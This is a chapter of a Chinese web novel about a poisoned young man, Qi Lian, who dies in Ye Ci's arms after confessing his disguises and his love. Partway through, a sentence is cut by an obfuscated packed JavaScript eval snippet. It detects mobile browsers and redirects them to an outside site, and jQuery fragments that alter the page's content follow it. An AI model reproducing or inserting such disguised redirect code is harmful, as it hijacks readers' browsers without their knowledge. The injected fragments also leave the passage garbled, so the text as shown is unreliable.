120. 第一百二十章

作品:《嫁给侯爷家傻儿子

    即将出西南时,赵明予与叶慈碰上了一场大雨。


    为了加快脚程,他们抄了近路,进了西南边境的一片竹林。


    雨夜里,竹影摇晃,雨水将竹叶打得劈啪作响,二人身穿蓑衣,戴斗笠,在竹林中疾行。


    叶慈忽然停下脚步,双眼紧盯着前方,只见那幢幢摇影只见,缓缓走出来一个人影。


    那人的衣服全湿透了,头发半束着,一绺一绺地搭在胸前,滴着水,不知是什么原因,他似乎有些脱力,脚步踉跄着,一步,一步,朝二人靠近。


    仿佛索命的恶鬼。


    赵明予即刻护在叶慈身前。


    “滚开!”


    来人大吼一声,叶慈觉得那声音听起来有几分耳熟。


    忽然,夜空中一道闪电划过,照亮了来人的脸。


    叶慈瞳孔骤缩——虽然与往常的装束大不相同,可她还是一眼认出来了,那是祁涟。


    想起大漠中那场以命搏命的血战,叶慈下意识退后一步,将赵明予拉到了自己身后。


    祁涟见状,一丝受伤的神色划过他阴翳的眼底,他像是再也支撑不住了一半,扶着竹子的手骤然脱力,重重倒在了地上。


    濒死之前,他不顾运功会加速毒素入侵肺腑,拼了命地找到叶慈,为的只是想再看她一眼。


    叶慈见状,也顾不得他是不是在诓人,猛地冲了上去,跪坐在地上,将人揽进怀里。


    “小涟,你怎么了!”她看见祁涟苍白如纸的脸色,吓了一跳。


    赵明予也上前来,他懂医理,只消一眼,便知道回天乏术。


    “是孔雀胆。”他垂下眸子,神色由震惊变得无奈,最后只剩下几分悲悯。


    此人曾杀他一次,而如今,即将死在他面前,赵明予心中没有怨恨以没有爽快,反而有种说不出的滋味儿。


    “小涟他……没……救了吗?”叶慈的声音中带着微不可闻的颤抖,她抬起头看向赵明予,眼神中含着希冀,脸上的水珠不知是雨水还是泪水。


    赵明予不忍看她这幅神色,轻轻移开目光,喉咙发紧,涩声道:“孔雀胆是西南特有的剧毒,由无数毒物混合而成,便是神医也未研究出解药的方子。”


    此药无解,中毒者,必活不过三个时辰,而他观祁涟面色,想来是在来的路上用了轻功,调用了真气,加速了毒素深入肺腑,恐怕……不剩一会儿了。


    他看着叶慈鲜少露出的哀戚神色,最终还是将这句话吞了下去,没说出口。


    “我……”


    他刚开口,便被一道气若游丝的声音打断:“姓赵的,你……你别在这叨叨了,我听着烦,我都快死了,你就不能……让我和慈姐姐独处一会儿?”


    赵明予少见地没回嘴,而是兀自走到了不远处,背对着二人,想来是不忍心看这幅景象。


    祁涟的视线已经模糊了,他看不清眼前人的样子,只能硬生生挤出一个比哭还难看的笑,问:“对不起,慈姐姐……你还怪我吗?”


    叶慈知道他说的是在大漠时差点杀死自己的事情,叶慈重重地摇头,带着哭腔道:“小涟,你别……你别放弃,天无绝人之路,这毒肯定能解……”


    祁涟又缓又轻地摇头,没接她的话,而是道:“慈姐姐,你……你过来些……”


    叶慈低下头,凑近了祁涟的脸。她能感受到,祁涟挣扎着想要支起身子来,再离她近一些——如今即便只是这样一个简单的动作,都要耗费他几乎浑身的力气。


    叶慈虽不知道他的目的,却还是依着他,将身子俯得更低了些。


    ——而他只是吻了吻叶慈的脸颊,像是在讨好。


    叶慈一愣,听到他哑着嗓子道:“慈姐姐,你觉不觉得,这幅场景……很像我们初见之时。”


    山中密林,一个狼狈不堪,一个心生悲悯,一如初见的雨夜。


    “慈姐姐,其实,我还是骗了你。”祁涟一笑,嘴角忽然留下一丝殷红,将他苍白得过分的唇色染上了血色,回光返照一般。


    “别说了……”叶慈将头埋在祁涟胸口,眼泪决了堤一般涌出来,别说祁涟,便是叶慈自己都没见过自己如此脆弱的模样。


    祁涟无力地抬起手,微笑着抚上叶慈的侧脸:“让我说吧,慈姐姐,这是我最后的愿望。”


    二人的身份仿佛对调了,祁涟变成哄人的那个,叶慈变成了被哄的,她想拒绝,不想听这临终遗言一般的交代,可却怎么也说不出拒绝的话。


    “慈姐姐,其实,我是被祁昼派来,藏在你身边,监视你的——至少一开始是这样。”他说着,忽然露出一抹怀念的笑,“我从小被他收养,他教我武功,教我易容术,教我如何扮可怜留在你身边,可谁知这一扮,竟然连我自己都当真了。”


    “祁昼救了我,却把我扔到狼窝里,为了搏一个留在你身边的机会,甚至不惜用我的命作赌注,我恨他!可是慈姐姐,你不同,只有你救我时,是真的想救我。这些年来,我一直很好奇,那时你也不过是个小孩子,为何竟然会宁愿以身犯险,也要从恶狼口中救下一个素不相识的人?”


    “慈姐姐,或许我在你心中,是特别的吗?”


    “当然。”叶慈立刻回答。


    “别说我是你弟弟,我不爱听。”祁涟紧紧盯着她,仿佛想从叶慈眼中看到一丝属于恋人之间的眷恋,可惜没有。


    叶慈把他当亲人,当作这世界上最亲近的人,却唯独无法把他当作恋人。


    祁涟见状,苦笑一声,继续道:“其实,在泉东村被活尸和禹梦围攻时,我就想着,若能与你死在一块,那也是再好不过的结局了。可惜你最后还是依着祁昼的话,选了另一条路,宁愿冒险跳崖,也要保全他们。那时我就想:那个姓赵的真是可恶,怎么配与我分去慈姐姐的宠爱……”


    “慈姐姐,你一定想不到,你在鹰宁山上碰到的老婆婆与卖药郎,都是我,怎么样,我的易容术是不是……很高超?”他狡黠地笑了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091586|165000||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,接着,忽然想起了什么似的,道,“对了,你一定猜不到,其实梵净寺中的慧明,也是我。”


    “你虽不知道,可我却觉得,我此生内心最平静的也最幸福的一段时日,便是以慧明的身份陪在你身边,每日清晨陪你在偏殿听梵音的日子。你每每运功时太专心,都不知道我在殿外偷偷看你,只有我自己知道,那是我这一生中,为数不多能平静地获得幸福的日子……”


    祁涟忽然想起,在梵净寺中,住持刚救下叶慈时,一并将他留在了寺中。


    彼时他万念俱灰,几乎不想活了,于是便将自己心中所有的阴暗吐黑泥一般全告诉了住持。


    那时,他发了狂一般,狂吼着问住持:“难道我给她这一颗真心,也有错吗?”


    住持是怎么回答的来着?


    ——真心亦是错。


    后来,住持将他留在寺中,为他讲佛,教他看透,可惜,他这一生,都看不透了。


    祁涟的手臂忽然动了,他艰难地抬起手,掀开外衫,而那外衫之中,有一大捧蓝楹花——娇艳欲滴,在雨水的浸泡下,显得越发水灵,即便奔波,也没被压坏分毫。


    “这是……”叶慈惊讶地瞪大了眼睛。


    现在明明不是蓝楹花开的季节,祁涟从哪弄到了这么多蓝楹花?


    她不知想到了什么,忽然抬手探上祁涟的脉搏,几乎在接触的刹那,她心中便涌上一股难以言喻的莫大悲伤。


    真气枯竭,行将就木,便是天神来了也救不了他。


    原来,祁涟不仅动用内力,以轻功翻越千山,只为在生命的尽头见她最后一面,更是在来的路上,用真气催开了一树蓝楹,加速了自己的死亡。


    “这是……我为你准备的……生辰礼物。”祁涟已经快不行了,“一百年份的,可惜我等不到那时候了,只能……提前给你了。”


    “我不求此情天长地久,海枯石烂,我只求……一百年。”


    他说罢,再没有了声息。


    叶慈抱着怀中逐渐冰冷的躯体,终于放声大哭。


    老妪、卖药郎、慧明,这些都是他,原来,他若是真的铁了心不让她发现,她便真的看不出任何端倪。


    原来,他不求此情有多长久,只求一百年。


    赵明予听见动静,穿过层层雨幕,站到叶慈身边,将手放在她的肩膀上,轻轻拍着。


    他没有告诉叶慈,孔雀胆汇聚天下毒物,中毒者往往肠穿肚烂,痛苦异常,连喘气都无异于凌迟,何况在死前说这许多话。


    若有真气护体还能略微减轻疼痛,可他竟在来的路上将全数真气用于催开蓝楹花……


    赵明予只觉得,祁涟对叶慈的感情或许只能用疯魔来形容了。


    或许他早就不想活了,叶慈是他在这世界上唯一的锚点,也是唯一还能让他对这世间有多留恋的人。


    他看向祁涟闭上眼睛之前微微勾起的嘴角,他知道,为了保护她而死,祁涟并不觉得亏。